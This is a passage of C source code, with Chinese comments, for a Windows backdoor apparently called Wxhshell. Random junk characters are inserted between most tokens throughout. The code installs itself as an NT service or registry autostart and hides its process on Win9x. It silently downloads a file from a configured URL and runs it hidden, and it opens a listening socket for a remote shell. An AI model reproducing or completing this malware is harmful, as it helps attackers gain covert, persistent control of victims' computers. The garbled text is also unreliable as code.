59r if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q:x:k+O- VnJ-nfA CloseHandle(hProcess); vsM] <t !j3V'XU#Zn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yT>t[t60/S if(hProcess==NULL) return 0; L#`9# Q v0dFP0.;& HMODULE hMod; f~.w2Cna char procName[255]; /~LXY<-( unsigned long cbNeeded; ecH-JPm' hCLXL if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QxGQF| p]zYj >e CloseHandle(hProcess); i~IQlyGr. B9Dh^9?L if(strstr(procName,"services")) return 1; // 以服务启动 Qw$"W/&X r $du-U return 0; // 注册表启动 wnE
c
} $<UX/a\sH 0)8QOTeT // 主模块 G=8w9-Ww int StartWxhshell(LPSTR lpCmdLine) aqb;H 'F { J9LS6~
7 SOCKET wsl; I@=h|GM BOOL val=TRUE; X'&$wQ6,K int port=0;
,qRSB>5c struct sockaddr_in door; 3"gifE )r2$/QF9 if(wscfg.ws_autoins) Install(); _e.b#{=9 (jD..qMs# port=atoi(lpCmdLine); T$]2U>=<J /p
[l(H if(port<=0) port=wscfg.ws_port; 8j,_ v}IP%84 WSADATA data;
:*M\z3`k if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;UgRm# 6bg+U`&g if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0NSn5Hq setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $p4aNC door.sin_family = AF_INET; {zGIQG9 door.sin_addr.s_addr = inet_addr("127.0.0.1"); OvPy+I door.sin_port = htons(port); V=|^r? Y\T*8\h_[ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rI}E2J closesocket(wsl); ~zz |U!TG return 1; ru`;cXa, } T^a {#B !v2,lH if(listen(wsl,2) == INVALID_SOCKET) {
hh"0z] closesocket(wsl); );h\0w>3 return 1; qD\%8l.]Z } (nrrzOax Wxhshell(wsl); co3H=#2a WSACleanup(); \i-jME(sN =tcPYYD return 0; *eXO?6f%s^ ^c]Sl } 2LYd
# !i ZZC=
7FB // 以NT服务方式启动 dW7dMx VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1A-8,) { Hcd> \0 DWORD status = 0; i&,U);T DWORD specificError = 0xfffffff; T , =ga P&aH6*p1 serviceStatus.dwServiceType = SERVICE_WIN32; >*} qGk serviceStatus.dwCurrentState = SERVICE_START_PENDING; BH0rT}) serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SEchF"KJQF serviceStatus.dwWin32ExitCode = 0; BHmA*3? serviceStatus.dwServiceSpecificExitCode = 0; W7A'5 serviceStatus.dwCheckPoint = 0; 4Sg!NPuu7& serviceStatus.dwWaitHint = 0; l7{hq}@;cC +>qBK}` hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "tIf$z if (hServiceStatusHandle==0) return; savz>E& FA^x|C =$ status = GetLastError(); ~+7yi4(i if (status!=NO_ERROR) g}^/8rW { |/fbU_d serviceStatus.dwCurrentState = SERVICE_STOPPED; Xs?7Whc6 serviceStatus.dwCheckPoint = 0; zFi+6I$ serviceStatus.dwWaitHint = 0; TiBE9 serviceStatus.dwWin32ExitCode = status; ,P"R.A serviceStatus.dwServiceSpecificExitCode = specificError; ;D8Nya>% SetServiceStatus(hServiceStatusHandle, &serviceStatus); <(p1
j0_Q return; l*Y~h3 } 0HD1Ob^@ 5,AQ~_,'\ serviceStatus.dwCurrentState = SERVICE_RUNNING; ,f?#i%EF& serviceStatus.dwCheckPoint = 0; Ql*/{#$ serviceStatus.dwWaitHint = 0; N2&aU?`e if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y0B*.H
Ae } mFF]d
%yw*!A1 // 处理NT服务事件,比如:启动、停止 Sw1]]-Es VOID WINAPI NTServiceHandler(DWORD fdwControl) N~>?w#?J { CJKH"'u3^ switch(fdwControl) A}y1v;FB { c0G/irK case SERVICE_CONTROL_STOP: f!$J_dz serviceStatus.dwWin32ExitCode = 0; >qF KXzI serviceStatus.dwCurrentState = SERVICE_STOPPED; sf*SxdoZU serviceStatus.dwCheckPoint = 0; [!R%yD; serviceStatus.dwWaitHint = 0; bOz\-=au { LVEVCpp@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); <$yer)_J!k } ,IJ Nuu\ return; .hJ8K#r case SERVICE_CONTROL_PAUSE: _SP
u`=~K serviceStatus.dwCurrentState = SERVICE_PAUSED; 3sZK[Y|ax break; Jj6kZK case SERVICE_CONTROL_CONTINUE: tiE+x|Ju" serviceStatus.dwCurrentState = SERVICE_RUNNING; $m=z87hX break; \[oHt:$do case SERVICE_CONTROL_INTERROGATE: C]=E$^|{ break; <dYk|5AdLF }; fA,+qs SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5N/]/ } j=AJs< oNU* q.Q // 标准应用程序主函数 "tj#P int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pWx3l5)R { Zj7XmkL ;%Da { // 获取操作系统版本 @E>^\!nH OsIsNt=GetOsVer(); %9D@W*Z GetModuleFileName(NULL,ExeFile,MAX_PATH); {H+?DMh BkZ%0rw% // 从命令行安装 KncoIw if(strpbrk(lpCmdLine,"iI")) Install(); 'j)eqoj `2fuV]FW // 下载执行文件 E7h}0DX if(wscfg.ws_downexe) { wKeqR$ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
yY| . WinExec(wscfg.ws_filenam,SW_HIDE); %@&)t?/= } &V:dcJ^Q ]czy8n$+ if(!OsIsNt) { /*O,T // 如果时win9x,隐藏进程并且设置为注册表启动 ;&!dD6N HideProc(); #]
GM#. StartWxhshell(lpCmdLine); Y@4vQm+ } XP` kf]9 else v4zd
x) if(StartFromService()) 5,c` // 以服务方式启动 V0AX1?H~ w StartServiceCtrlDispatcher(DispatchTable); >ATW/9r else kxmS // 普通方式启动 |K_B{v. StartWxhshell(lpCmdLine); f!J^vDl 6'%]6"&M4 return 0; e"CLhaT }
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